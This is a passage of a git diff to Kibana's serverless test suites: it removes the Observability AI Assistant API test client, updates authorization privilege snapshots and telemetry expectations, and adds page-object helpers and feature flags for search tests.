query: { match_all: {}, diff --git a/x-pack/test_serverless/api_integration/test_suites/observability/ai_assistant/common/ftr_provider_context.ts b/x-pack/test_serverless/api_integration/test_suites/observability/ai_assistant/common/ftr_provider_context.ts deleted file mode 100644 index dc8dbbed7536e..0000000000000 --- a/x-pack/test_serverless/api_integration/test_suites/observability/ai_assistant/common/ftr_provider_context.ts +++ /dev/null @@ -1,18 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { GenericFtrProviderContext } from '@kbn/test'; -import { InheritedServices, InheritedFtrProviderContext } from '../../../../services'; -import { ObservabilityAIAssistantApiClient } from './observability_ai_assistant_api_client'; - -export type ObservabilityAIAssistantServices = InheritedServices & { - observabilityAIAssistantAPIClient: ( - context: InheritedFtrProviderContext - ) => Promise; -}; - -export type FtrProviderContext = GenericFtrProviderContext; diff --git a/x-pack/test_serverless/api_integration/test_suites/observability/ai_assistant/common/observability_ai_assistant_api_client.ts b/x-pack/test_serverless/api_integration/test_suites/observability/ai_assistant/common/observability_ai_assistant_api_client.ts deleted file mode 100644 index 061175872380f..0000000000000 --- a/x-pack/test_serverless/api_integration/test_suites/observability/ai_assistant/common/observability_ai_assistant_api_client.ts +++ /dev/null @@ -1,242 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import type { - APIReturnType, - ObservabilityAIAssistantAPIClientRequestParamsOf, - ObservabilityAIAssistantAPIEndpoint, -} from '@kbn/observability-ai-assistant-plugin/public'; -import { formatRequest } from '@kbn/server-route-repository'; -import supertest from 'supertest'; -import { Subtract } from 'utility-types'; -import { format } from 'url'; -import { Config } from '@kbn/test'; -import { InheritedFtrProviderContext, SupertestWithRoleScopeType } from '../../../../services'; -import type { InternalRequestHeader, RoleCredentials } from '../../../../../shared/services'; - -export function getObservabilityAIAssistantApiClient({ - svlSharedConfig, - supertestUserWithCookieCredentials, -}: { - svlSharedConfig: Config; - supertestUserWithCookieCredentials?: SupertestWithRoleScopeType; -}) { - if (supertestUserWithCookieCredentials) { - return createObservabilityAIAssistantApiClient(supertestUserWithCookieCredentials); - } else { - const kibanaServer = svlSharedConfig.get('servers.kibana'); - const cAuthorities = svlSharedConfig.get('servers.kibana.certificateAuthorities'); - - const url = format({ - ...kibanaServer, - auth: false, // don't use auth in serverless - }); - return createObservabilityAIAssistantApiClient(supertest.agent(url, { ca: cAuthorities })); - } -} - -type ObservabilityAIAssistantApiClientKey = - | 'slsAdmin' - | 'slsEditor' - | 'slsUser' - | 'slsUnauthorized'; - -export type ObservabilityAIAssistantApiClient = Record< - ObservabilityAIAssistantApiClientKey, - Awaited> ->; - -export function createObservabilityAIAssistantApiClient( - st: SupertestWithRoleScopeType | supertest.Agent -) { - return ( - options: { - type?: 'form-data'; - endpoint: TEndpoint; - roleAuthc?: RoleCredentials; - internalReqHeader?: InternalRequestHeader; - } & ObservabilityAIAssistantAPIClientRequestParamsOf & { - params?: { query?: { _inspect?: boolean } }; - } - ): SupertestReturnType => { - const { endpoint, type, roleAuthc, internalReqHeader } = options; - - const params = 'params' in options ? (options.params as Record) : {}; - - const { method, pathname, version } = formatRequest(endpoint, params.path); - const url = format({ pathname, query: params?.query }); - - const headers: Record = - roleAuthc && internalReqHeader ? { ...internalReqHeader, ...roleAuthc.apiKeyHeader } : {}; - - if (version) { - headers['Elastic-Api-Version'] = version; - } - - let res: supertest.Test; - if (type === 'form-data') { - const fields: Array<[string, any]> = Object.entries(params.body); - const formDataRequest = st[method](url) - .set(headers) - .set('Content-type', 'multipart/form-data'); - for (const field of fields) { - void formDataRequest.field(field[0], field[1]); - } - - res = formDataRequest; - } else if (params.body) { - res = st[method](url).send(params.body).set(headers); - } else { - res = st[method](url).set(headers); - } - - return res as unknown as SupertestReturnType; - }; -} - -export type ObservabilityAIAssistantAPIClient = ReturnType< - typeof createObservabilityAIAssistantApiClient ->; - -type WithoutPromise> = Subtract>; - -// this is a little intense, but without it, method overrides are lost -// e.g., { -// end(one:string) -// end(one:string, two:string) -// } -// would lose the first signature. This keeps up to eight signatures. -type OverloadedParameters = T extends { - (...args: infer A1): any; - (...args: infer A2): any; - (...args: infer A3): any; - (...args: infer A4): any; - (...args: infer A5): any; - (...args: infer A6): any; - (...args: infer A7): any; - (...args: infer A8): any; -} - ? A1 | A2 | A3 | A4 | A5 | A6 | A7 | A8 - : T extends { - (...args: infer A1): any; - (...args: infer A2): any; - (...args: infer A3): any; - (...args: infer A4): any; - (...args: infer A5): any; - (...args: infer A6): any; - (...args: infer A7): any; - } - ? A1 | A2 | A3 | A4 | A5 | A6 | A7 - : T extends { - (...args: infer A1): any; - (...args: infer A2): any; - (...args: infer A3): any; - (...args: infer A4): any; - (...args: infer A5): any; - (...args: infer A6): any; - } - ? A1 | A2 | A3 | A4 | A5 | A6 - : T extends { - (...args: infer A1): any; - (...args: infer A2): any; - (...args: infer A3): any; - (...args: infer A4): any; - (...args: infer A5): any; - } - ? A1 | A2 | A3 | A4 | A5 - : T extends { - (...args: infer A1): any; - (...args: infer A2): any; - (...args: infer A3): any; - (...args: infer A4): any; - } - ? A1 | A2 | A3 | A4 - : T extends { - (...args: infer A1): any; - (...args: infer A2): any; - (...args: infer A3): any; - } - ? A1 | A2 | A3 - : T extends { - (...args: infer A1): any; - (...args: infer A2): any; - } - ? A1 | A2 - : T extends (...args: infer A) => any - ? A - : any; - -type OverrideReturnType any, TNextReturnType> = ( - ...args: OverloadedParameters -) => WithoutPromise> & TNextReturnType; - -type OverwriteThisMethods, TNextReturnType> = TNextReturnType & { - [key in keyof T]: T[key] extends (...args: infer TArgs) => infer TReturnType - ? TReturnType extends Promise - ? OverrideReturnType - : (...args: TArgs) => TReturnType - : T[key]; -}; - -export type SupertestReturnType = - OverwriteThisMethods< - WithoutPromise, - Promise<{ - text: string; - status: number; - body: APIReturnType; - }> - >; - -export async function getObservabilityAIAssistantApiClientService({ - getService, -}: InheritedFtrProviderContext): Promise { - const svlSharedConfig = getService('config'); - const roleScopedSupertest = getService('roleScopedSupertest'); - - // admin user - const supertestAdminWithCookieCredentials: SupertestWithRoleScopeType = - await roleScopedSupertest.getSupertestWithRoleScope('admin', { - useCookieHeader: true, - withInternalHeaders: true, - }); - - // editor user - const supertestEditorWithCookieCredentials: SupertestWithRoleScopeType = - await roleScopedSupertest.getSupertestWithRoleScope('editor', { - useCookieHeader: true, - withInternalHeaders: true, - }); - - // unauthorized user - const supertestUnauthorizedWithCookieCredentials: SupertestWithRoleScopeType = - await roleScopedSupertest.getSupertestWithRoleScope('viewer', { - useCookieHeader: false, - withInternalHeaders: true, - }); - - return { - // defaults to elastic_admin user when used without auth - slsUser: await getObservabilityAIAssistantApiClient({ - svlSharedConfig, - }), - // cookie auth for internal apis - slsAdmin: await getObservabilityAIAssistantApiClient({ - svlSharedConfig, - supertestUserWithCookieCredentials: supertestAdminWithCookieCredentials, - }), - // cookie auth for internal apis - slsEditor: await getObservabilityAIAssistantApiClient({ - svlSharedConfig, - supertestUserWithCookieCredentials: supertestEditorWithCookieCredentials, - }), - slsUnauthorized: await getObservabilityAIAssistantApiClient({ - svlSharedConfig, - supertestUserWithCookieCredentials: supertestUnauthorizedWithCookieCredentials, - }), - }; -} diff --git a/x-pack/test_serverless/api_integration/test_suites/observability/ai_assistant/config.ts b/x-pack/test_serverless/api_integration/test_suites/observability/ai_assistant/config.ts deleted file mode 100644 index 01e470d2a7d88..0000000000000 --- a/x-pack/test_serverless/api_integration/test_suites/observability/ai_assistant/config.ts +++ /dev/null @@ -1,30 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { createTestConfig } from '../../../config.base'; -import { ObservabilityAIAssistantServices } from './common/ftr_provider_context'; -import { services as inheritedServices } from '../../../services'; -import { getObservabilityAIAssistantApiClientService } from './common/observability_ai_assistant_api_client'; - -export const services: ObservabilityAIAssistantServices = { - ...inheritedServices, - observabilityAIAssistantAPIClient: getObservabilityAIAssistantApiClientService, -}; - -export default createTestConfig({ - serverlessProject: 'oblt', - testFiles: [require.resolve('./tests')], - junit: { - reportName: 'Observability AI Assistant API Integration tests', - }, - suiteTags: { exclude: ['skipSvlOblt'] }, - services, - - // include settings from project controller - // https://github.com/elastic/project-controller/blob/main/internal/project/observability/config/elasticsearch.yml - esServerArgs: ['xpack.ml.dfa.enabled=false'], -}); diff --git a/x-pack/test_serverless/api_integration/test_suites/observability/ai_assistant/tests/index.ts b/x-pack/test_serverless/api_integration/test_suites/observability/ai_assistant/tests/index.ts deleted file mode 100644 index 26c8a7b2839a9..0000000000000 --- a/x-pack/test_serverless/api_integration/test_suites/observability/ai_assistant/tests/index.ts +++ /dev/null @@ -1,26 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ -import globby from 'globby'; -import path from 'path'; -import { FtrProviderContext } from '../../../../ftr_provider_context'; - -const cwd = path.join(__dirname); - -export default function observabilityAIAssistantApiIntegrationTests({ - loadTestFile, -}: FtrProviderContext) { - describe('Observability AI Assistant API tests', function () { - const filePattern = '**/*.spec.ts'; - const tests = globby.sync(filePattern, { cwd }); - - tests.forEach((testName) => { - describe(testName, () => { - loadTestFile(require.resolve(`./${testName}`)); - }); - }); - }); -} diff --git a/x-pack/test_serverless/api_integration/test_suites/security/cloud_security_posture/telemetry.ts b/x-pack/test_serverless/api_integration/test_suites/security/cloud_security_posture/telemetry.ts index 04578e826320d..6ee6bf2e0ee9d 100644 --- a/x-pack/test_serverless/api_integration/test_suites/security/cloud_security_posture/telemetry.ts +++ b/x-pack/test_serverless/api_integration/test_suites/security/cloud_security_posture/telemetry.ts @@ -123,6 +123,8 @@ export default function ({ getService }: FtrProviderContext) { agents_count: 2, nodes_count: 2, pods_count: 0, + kspm_namespaces_count: 1, + cspm_namespaces_count: 0, }, ]); expect(apiResponse.stack_stats.kibana.plugins.cloud_security_posture.resources_stats).to.eql([ @@ -174,6 +176,8 @@ export default function ({ getService }: FtrProviderContext) { agents_count: 1, nodes_count: 1, pods_count: 0, + kspm_namespaces_count: 0, + cspm_namespaces_count: 1, }, ]); @@ -220,6 +224,8 @@ export default function ({ getService }: FtrProviderContext) { agents_count: 1, nodes_count: 1, pods_count: 0, + kspm_namespaces_count: 0, + cspm_namespaces_count: 1, }, { account_id: 'my-k8s-cluster-5555', @@ -234,6 +240,8 @@ export default function ({ getService }: FtrProviderContext) { agents_count: 2, nodes_count: 2, pods_count: 0, + kspm_namespaces_count: 1, + cspm_namespaces_count: 0, }, ]); @@ -295,6 +303,8 @@ export default function ({ getService }: FtrProviderContext) { agents_count: 2, nodes_count: 2, pods_count: 0, + kspm_namespaces_count: 0, + cspm_namespaces_count: 0, }, ]); @@ -350,6 +360,8 @@ export default function ({ getService }: FtrProviderContext) { agents_count: 1, nodes_count: 1, pods_count: 0, + kspm_namespaces_count: 0, + cspm_namespaces_count: 1, }, { account_id: 'my-k8s-cluster-5555', @@ -364,6 +376,8 @@ export default function ({ getService }: FtrProviderContext) { agents_count: 2, nodes_count: 2, pods_count: 0, + kspm_namespaces_count: 0, + cspm_namespaces_count: 0, }, ]); diff --git a/x-pack/test_serverless/api_integration/test_suites/security/platform_security/authorization.ts b/x-pack/test_serverless/api_integration/test_suites/security/platform_security/authorization.ts index 3b27e36d1a7c1..ad3c7e0847ac7 100644 --- a/x-pack/test_serverless/api_integration/test_suites/security/platform_security/authorization.ts +++ b/x-pack/test_serverless/api_integration/test_suites/security/platform_security/authorization.ts @@ -419,6 +419,18 @@ export default function ({ getService }: FtrProviderContext) { "saved_object:privilege-monitoring-status/delete", "saved_object:privilege-monitoring-status/bulk_delete", "saved_object:privilege-monitoring-status/share_to_space", + "saved_object:privmon-api-key/bulk_get", + "saved_object:privmon-api-key/get", + "saved_object:privmon-api-key/find", + "saved_object:privmon-api-key/open_point_in_time", + "saved_object:privmon-api-key/close_point_in_time", + "saved_object:privmon-api-key/create", + "saved_object:privmon-api-key/bulk_create", + "saved_object:privmon-api-key/update", + "saved_object:privmon-api-key/bulk_update", + "saved_object:privmon-api-key/delete", + "saved_object:privmon-api-key/bulk_delete", + "saved_object:privmon-api-key/share_to_space", "saved_object:entity-analytics-monitoring-entity-source/bulk_get", "saved_object:entity-analytics-monitoring-entity-source/get", "saved_object:entity-analytics-monitoring-entity-source/find", @@ -1418,6 +1430,18 @@ export default function ({ getService }: FtrProviderContext) { "saved_object:privilege-monitoring-status/delete", "saved_object:privilege-monitoring-status/bulk_delete", "saved_object:privilege-monitoring-status/share_to_space", + "saved_object:privmon-api-key/bulk_get", + "saved_object:privmon-api-key/get", + "saved_object:privmon-api-key/find", + "saved_object:privmon-api-key/open_point_in_time", + "saved_object:privmon-api-key/close_point_in_time", + "saved_object:privmon-api-key/create", + "saved_object:privmon-api-key/bulk_create", + "saved_object:privmon-api-key/update", + "saved_object:privmon-api-key/bulk_update", + "saved_object:privmon-api-key/delete", + "saved_object:privmon-api-key/bulk_delete", + "saved_object:privmon-api-key/share_to_space", "saved_object:entity-analytics-monitoring-entity-source/bulk_get", "saved_object:entity-analytics-monitoring-entity-source/get", "saved_object:entity-analytics-monitoring-entity-source/find", @@ -2157,6 +2181,11 @@ export default function ({ getService }: FtrProviderContext) { "saved_object:privilege-monitoring-status/find", "saved_object:privilege-monitoring-status/open_point_in_time", "saved_object:privilege-monitoring-status/close_point_in_time", + "saved_object:privmon-api-key/bulk_get", + "saved_object:privmon-api-key/get", + "saved_object:privmon-api-key/find", + "saved_object:privmon-api-key/open_point_in_time", + "saved_object:privmon-api-key/close_point_in_time", "saved_object:entity-analytics-monitoring-entity-source/bulk_get", "saved_object:entity-analytics-monitoring-entity-source/get", "saved_object:entity-analytics-monitoring-entity-source/find", @@ -2588,6 +2617,11 @@ export default function ({ getService }: FtrProviderContext) { "saved_object:privilege-monitoring-status/find", "saved_object:privilege-monitoring-status/open_point_in_time", "saved_object:privilege-monitoring-status/close_point_in_time", + "saved_object:privmon-api-key/bulk_get", + "saved_object:privmon-api-key/get", + "saved_object:privmon-api-key/find", + "saved_object:privmon-api-key/open_point_in_time", + "saved_object:privmon-api-key/close_point_in_time", "saved_object:entity-analytics-monitoring-entity-source/bulk_get", "saved_object:entity-analytics-monitoring-entity-source/get", "saved_object:entity-analytics-monitoring-entity-source/find", @@ -3131,6 +3165,18 @@ export default function ({ getService }: FtrProviderContext) { "saved_object:privilege-monitoring-status/delete", "saved_object:privilege-monitoring-status/bulk_delete", "saved_object:privilege-monitoring-status/share_to_space", + "saved_object:privmon-api-key/bulk_get", + "saved_object:privmon-api-key/get", + "saved_object:privmon-api-key/find", + "saved_object:privmon-api-key/open_point_in_time", + "saved_object:privmon-api-key/close_point_in_time", + "saved_object:privmon-api-key/create", + "saved_object:privmon-api-key/bulk_create", + "saved_object:privmon-api-key/update", + "saved_object:privmon-api-key/bulk_update", + "saved_object:privmon-api-key/delete", + "saved_object:privmon-api-key/bulk_delete", + "saved_object:privmon-api-key/share_to_space", "saved_object:entity-analytics-monitoring-entity-source/bulk_get", "saved_object:entity-analytics-monitoring-entity-source/get", "saved_object:entity-analytics-monitoring-entity-source/find", @@ -3851,6 +3897,12 @@ export default function ({ getService }: FtrProviderContext) { "ui:siemV2/writeFileOperations", "ui:siemV3/writeFileOperations", ], + "global_artifact_management_all": Array [ + "login:", + "api:securitySolution-writeGlobalArtifacts", + "ui:siemV2/writeGlobalArtifacts", + "ui:siemV3/writeGlobalArtifacts", + ], "host_isolation_all": Array [ "login:", "api:securitySolution-writeHostIsolationRelease", @@ -4068,6 +4120,18 @@ export default function ({ getService }: FtrProviderContext) { "saved_object:privilege-monitoring-status/delete", "saved_object:privilege-monitoring-status/bulk_delete", "saved_object:privilege-monitoring-status/share_to_space", + "saved_object:privmon-api-key/bulk_get", + "saved_object:privmon-api-key/get", + "saved_object:privmon-api-key/find", + "saved_object:privmon-api-key/open_point_in_time", + "saved_object:privmon-api-key/close_point_in_time", + "saved_object:privmon-api-key/create", + "saved_object:privmon-api-key/bulk_create", + "saved_object:privmon-api-key/update", + "saved_object:privmon-api-key/bulk_update", + "saved_object:privmon-api-key/delete", + "saved_object:privmon-api-key/bulk_delete", + "saved_object:privmon-api-key/share_to_space", "saved_object:entity-analytics-monitoring-entity-source/bulk_get", "saved_object:entity-analytics-monitoring-entity-source/get", "saved_object:entity-analytics-monitoring-entity-source/find", @@ -4747,6 +4811,11 @@ export default function ({ getService }: FtrProviderContext) { "saved_object:privilege-monitoring-status/find", "saved_object:privilege-monitoring-status/open_point_in_time", "saved_object:privilege-monitoring-status/close_point_in_time", + "saved_object:privmon-api-key/bulk_get", + "saved_object:privmon-api-key/get", + "saved_object:privmon-api-key/find", + "saved_object:privmon-api-key/open_point_in_time", + "saved_object:privmon-api-key/close_point_in_time", "saved_object:entity-analytics-monitoring-entity-source/bulk_get", "saved_object:entity-analytics-monitoring-entity-source/get", "saved_object:entity-analytics-monitoring-entity-source/find", @@ -5150,6 +5219,11 @@ export default function ({ getService }: FtrProviderContext) { "saved_object:privilege-monitoring-status/find", "saved_object:privilege-monitoring-status/open_point_in_time", "saved_object:privilege-monitoring-status/close_point_in_time", + "saved_object:privmon-api-key/bulk_get", + "saved_object:privmon-api-key/get", + "saved_object:privmon-api-key/find", + "saved_object:privmon-api-key/open_point_in_time", + "saved_object:privmon-api-key/close_point_in_time", "saved_object:entity-analytics-monitoring-entity-source/bulk_get", "saved_object:entity-analytics-monitoring-entity-source/get", "saved_object:entity-analytics-monitoring-entity-source/find", @@ -5679,6 +5753,18 @@ export default function ({ getService }: FtrProviderContext) { "saved_object:privilege-monitoring-status/delete", "saved_object:privilege-monitoring-status/bulk_delete", "saved_object:privilege-monitoring-status/share_to_space", + "saved_object:privmon-api-key/bulk_get", + "saved_object:privmon-api-key/get", + "saved_object:privmon-api-key/find", + "saved_object:privmon-api-key/open_point_in_time", + "saved_object:privmon-api-key/close_point_in_time", + "saved_object:privmon-api-key/create", + "saved_object:privmon-api-key/bulk_create", + "saved_object:privmon-api-key/update", + "saved_object:privmon-api-key/bulk_update", + "saved_object:privmon-api-key/delete", + "saved_object:privmon-api-key/bulk_delete", + "saved_object:privmon-api-key/share_to_space", "saved_object:entity-analytics-monitoring-entity-source/bulk_get", "saved_object:entity-analytics-monitoring-entity-source/get", "saved_object:entity-analytics-monitoring-entity-source/find", @@ -6585,6 +6671,18 @@ export default function ({ getService }: FtrProviderContext) { "saved_object:privilege-monitoring-status/delete", "saved_object:privilege-monitoring-status/bulk_delete", "saved_object:privilege-monitoring-status/share_to_space", + "saved_object:privmon-api-key/bulk_get", + "saved_object:privmon-api-key/get", + "saved_object:privmon-api-key/find", + "saved_object:privmon-api-key/open_point_in_time", + "saved_object:privmon-api-key/close_point_in_time", + "saved_object:privmon-api-key/create", + "saved_object:privmon-api-key/bulk_create", + "saved_object:privmon-api-key/update", + "saved_object:privmon-api-key/bulk_update", + "saved_object:privmon-api-key/delete", + "saved_object:privmon-api-key/bulk_delete", + "saved_object:privmon-api-key/share_to_space", "saved_object:entity-analytics-monitoring-entity-source/bulk_get", "saved_object:entity-analytics-monitoring-entity-source/get", "saved_object:entity-analytics-monitoring-entity-source/find", @@ -7257,6 +7355,11 @@ export default function ({ getService }: FtrProviderContext) { "saved_object:privilege-monitoring-status/find", "saved_object:privilege-monitoring-status/open_point_in_time", "saved_object:privilege-monitoring-status/close_point_in_time", + "saved_object:privmon-api-key/bulk_get", + "saved_object:privmon-api-key/get", + "saved_object:privmon-api-key/find", + "saved_object:privmon-api-key/open_point_in_time", + "saved_object:privmon-api-key/close_point_in_time", "saved_object:entity-analytics-monitoring-entity-source/bulk_get", "saved_object:entity-analytics-monitoring-entity-source/get", "saved_object:entity-analytics-monitoring-entity-source/find", @@ -7650,6 +7753,11 @@ export default function ({ getService }: FtrProviderContext) { "saved_object:privilege-monitoring-status/find", "saved_object:privilege-monitoring-status/open_point_in_time", "saved_object:privilege-monitoring-status/close_point_in_time", + "saved_object:privmon-api-key/bulk_get", + "saved_object:privmon-api-key/get", + "saved_object:privmon-api-key/find", + "saved_object:privmon-api-key/open_point_in_time", + "saved_object:privmon-api-key/close_point_in_time", "saved_object:entity-analytics-monitoring-entity-source/bulk_get", "saved_object:entity-analytics-monitoring-entity-source/get", "saved_object:entity-analytics-monitoring-entity-source/find", diff --git a/x-pack/test_serverless/functional/page_objects/svl_search_elasticsearch_start_page.ts b/x-pack/test_serverless/functional/page_objects/svl_search_elasticsearch_start_page.ts index 8239d130d5d78..a61c0c7640343 100644 --- a/x-pack/test_serverless/functional/page_objects/svl_search_elasticsearch_start_page.ts +++ b/x-pack/test_serverless/functional/page_objects/svl_search_elasticsearch_start_page.ts @@ -33,6 +33,11 @@ export function SvlSearchElasticsearchStartPageProvider({ getService }: FtrProvi ); }); }, + async expectToBeOnSearchHomepagePage() { + await retry.tryForTime(60 * 1000, async () => { + expect(await browser.getCurrentUrl()).contain('/app/elasticsearch/home'); + }); + }, async expectToBeOnMLFileUploadPage() { await retry.tryForTime(60 * 1000, async () => { expect(await browser.getCurrentUrl()).contain('/app/ml/filedatavisualizer'); @@ -127,5 +132,9 @@ export function SvlSearchElasticsearchStartPageProvider({ getService }: FtrProvi await testSubjects.missingOrFail('apiKeyHasNotBeenGenerated'); await testSubjects.missingOrFail('apiKeyHasBeenGenerated'); }, + + async clearSkipEmptyStateStorageFlag() { + await browser.removeLocalStorageItem('search_onboarding_global_empty_state_skip'); + }, }; } diff --git a/x-pack/test_serverless/functional/page_objects/svl_search_homepage.ts b/x-pack/test_serverless/functional/page_objects/svl_search_homepage.ts index e5499448f0d57..9fd468c57d7f1 100644 --- a/x-pack/test_serverless/functional/page_objects/svl_search_homepage.ts +++ b/x-pack/test_serverless/functional/page_objects/svl_search_homepage.ts @@ -69,6 +69,21 @@ export function SvlSearchHomePageProvider({ getService }: FtrProviderContext) { async expectToBeOnObservabilityPage() { expect(await browser.getCurrentUrl()).contain('manage-data/ingest'); }, + async expectToBeOnIngestDataToSecurityPage() { + expect(await browser.getCurrentUrl()).contain( + 'security/get-started/ingest-data-to-elastic-security' + ); + }, + async expectToBeOnInstallElasticDefendPage() { + expect(await browser.getCurrentUrl()).contain( + 'security/configure-elastic-defend/install-elastic-defend' + ); + }, + async expectToBeOnCloudSecurityPosturePage() { + expect(await browser.getCurrentUrl()).contain( + 'security/cloud/cloud-security-posture-management' + ); + }, async expectToBeOnSpacesCreatePage() { expect(await browser.getCurrentUrl()).contain('observability/start'); }, diff --git a/x-pack/test_serverless/functional/test_suites/common/management/data_views/serverless.ts b/x-pack/test_serverless/functional/test_suites/common/management/data_views/serverless.ts index f909366581d07..958f897083bef 100644 --- a/x-pack/test_serverless/functional/test_suites/common/management/data_views/serverless.ts +++ b/x-pack/test_serverless/functional/test_suites/common/management/data_views/serverless.ts @@ -101,9 +101,7 @@ export default function ({ getService, getPageObjects }: FtrProviderContext) { }); }); - // Skipped due to change in QA environment for role management and spaces - // TODO: revisit once the change is rolled out to all environments - describe.skip('when in single space mode', function () { + describe('when in data views view', function () { let dataViewId = ''; before(async () => { await esArchiver.load( @@ -132,12 +130,12 @@ export default function ({ getService, getPageObjects }: FtrProviderContext) { .set('kbn-xsrf', 'some-xsrf-token'); }); - it('hides spaces UI', async () => { + it('shows spaces column', async () => { await PageObjects.common.navigateToUrl('management', 'kibana/dataViews', { shouldUseHashForSubUrl: false, }); await testSubjects.exists('detail-link-basic_index'); - await testSubjects.missingOrFail('tableHeaderCell_namespaces_1'); + await testSubjects.existOrFail('tableHeaderCell_namespaces_1'); }); }); }); diff --git a/x-pack/test_serverless/functional/test_suites/observability/discover/context_awareness/telemetry/_telemetry.ts b/x-pack/test_serverless/functional/test_suites/observability/discover/context_awareness/telemetry/_telemetry.ts index e036dd341ad43..b34f9ba36975b 100644 --- a/x-pack/test_serverless/functional/test_suites/observability/discover/context_awareness/telemetry/_telemetry.ts +++ b/x-pack/test_serverless/functional/test_suites/observability/discover/context_awareness/telemetry/_telemetry.ts @@ -63,7 +63,7 @@ export default function ({ getService, getPageObjects }: ObservabilityTelemetryF }); expect(events[events.length - 1].context.discoverProfiles).to.eql([ - 'observability-root-profile-with-attributes-tab', + 'observability-root-profile', 'default-data-source-profile', ]); }); @@ -83,7 +83,7 @@ export default function ({ getService, getPageObjects }: ObservabilityTelemetryF }); expect(events[events.length - 1].context.discoverProfiles).to.eql([ - 'observability-root-profile-with-attributes-tab', + 'observability-root-profile', 'observability-logs-data-source-profile', ]); @@ -162,7 +162,7 @@ export default function ({ getService, getPageObjects }: ObservabilityTelemetryF expect(events[0].properties).to.eql({ contextLevel: 'rootLevel', - profileId: 'observability-root-profile-with-attributes-tab', + profileId: 'observability-root-profile', }); expect(events[1].properties).to.eql({ @@ -447,7 +447,7 @@ export default function ({ getService, getPageObjects }: ObservabilityTelemetryF }); expect(event3.context.discoverProfiles).to.eql([ - 'observability-root-profile-with-attributes-tab', + 'observability-root-profile', 'observability-logs-data-source-profile', ]); }); diff --git a/x-pack/test_serverless/functional/test_suites/observability/rules/custom_threshold_consumer.ts b/x-pack/test_serverless/functional/test_suites/observability/rules/custom_threshold_consumer.ts index 5bb8f298df9ed..a9128cbdad0d9 100644 --- a/x-pack/test_serverless/functional/test_suites/observability/rules/custom_threshold_consumer.ts +++ b/x-pack/test_serverless/functional/test_suites/observability/rules/custom_threshold_consumer.ts @@ -24,8 +24,11 @@ export default ({ getPageObject, getService }: FtrProviderContext) => { function createCustomThresholdRule({ ruleName }: { ruleName: string }) { it('navigates to the rules page', async () => { - await svlCommonNavigation.sidenav.clickLink({ text: 'Alerts' }); - await testSubjects.click('manageRulesPageButton'); + await retry.try(async () => { + await svlCommonNavigation.sidenav.clickLink({ text: 'Alerts' }); + expect(await testSubjects.exists('manageRulesPageButton')).toBeTruthy(); + await testSubjects.click('manageRulesPageButton'); + }); }); it('should open the rule creation flyout', async () => { diff --git a/x-pack/test_serverless/functional/test_suites/observability/rules/es_query_consumer.ts b/x-pack/test_serverless/functional/test_suites/observability/rules/es_query_consumer.ts index 37d4535b4f16f..ac059b0e46133 100644 --- a/x-pack/test_serverless/functional/test_suites/observability/rules/es_query_consumer.ts +++ b/x-pack/test_serverless/functional/test_suites/observability/rules/es_query_consumer.ts @@ -24,8 +24,11 @@ export default ({ getPageObject, getService }: FtrProviderContext) => { function createESQueryRule({ ruleName }: { ruleName: string }) { it('navigates to the rules page', async () => { - await svlCommonNavigation.sidenav.clickLink({ text: 'Alerts' }); - await testSubjects.click('manageRulesPageButton'); + await retry.try(async () => { + await svlCommonNavigation.sidenav.clickLink({ text: 'Alerts' }); + expect(await testSubjects.exists('manageRulesPageButton')).toBeTruthy(); + await testSubjects.click('manageRulesPageButton'); + }); }); it('should open the rule creation flyout', async () => { diff --git a/x-pack/test_serverless/functional/test_suites/search/config.feature_flags.ts b/x-pack/test_serverless/functional/test_suites/search/config.feature_flags.ts index 23e2bd6018a20..1b83a4d508da7 100644 --- a/x-pack/test_serverless/functional/test_suites/search/config.feature_flags.ts +++ b/x-pack/test_serverless/functional/test_suites/search/config.feature_flags.ts @@ -21,6 +21,8 @@ export default createTestConfig({ kbnServerArgs: [ `--xpack.cloud.id=ES3_FTR_TESTS:ZmFrZS1kb21haW4uY2xkLmVsc3RjLmNvJGZha2Vwcm9qZWN0aWQuZXMkZmFrZXByb2plY3RpZC5rYg==`, `--uiSettings.overrides.searchPlayground:searchModeEnabled=true`, + `--uiSettings.overrides.queryRules:queryRulesEnabled=true`, + '--xpack.searchQueryRules.enabled=true', ], // load tests in the index file testFiles: [require.resolve('./index.feature_flags.ts')], @@ -41,6 +43,9 @@ export default createTestConfig({ searchSynonyms: { pathname: '/app/elasticsearch/search_synonyms', }, + searchQueryRules: { + pathname: '/app/elasticsearch/query_rules', + }, elasticsearchStart: { pathname: '/app/elasticsearch/start', }, diff --git a/x-pack/test_serverless/functional/test_suites/search/elasticsearch_start.ts b/x-pack/test_serverless/functional/test_suites/search/elasticsearch_start.ts index 7b391ce59af47..8441fe38342c5 100644 --- a/x-pack/test_serverless/functional/test_suites/search/elasticsearch_start.ts +++ b/x-pack/test_serverless/functional/test_suites/search/elasticsearch_start.ts @@ -34,6 +34,7 @@ export default function ({ getPageObjects, getService }: FtrProviderContext) { }); after(async () => { await deleteAllTestIndices(); + await pageObjects.svlSearchElasticsearchStartPage.clearSkipEmptyStateStorageFlag(); }); beforeEach(async () => { await deleteAllTestIndices(); @@ -196,13 +197,13 @@ export default function ({ getPageObjects, getService }: FtrProviderContext) { await pageObjects.svlSearchElasticsearchStartPage.expectToBeOnStartPage(); await pageObjects.svlSearchElasticsearchStartPage.expectCloseCreateIndexButtonExists(); await pageObjects.svlSearchElasticsearchStartPage.clickCloseCreateIndexButton(); - await pageObjects.svlSearchElasticsearchStartPage.expectToBeOnIndexListPage(); + await pageObjects.svlSearchElasticsearchStartPage.expectToBeOnSearchHomepagePage(); }); it('should have skip button', async () => { await pageObjects.svlSearchElasticsearchStartPage.expectToBeOnStartPage(); await pageObjects.svlSearchElasticsearchStartPage.expectSkipButtonExists(); await pageObjects.svlSearchElasticsearchStartPage.clickSkipButton(); - await 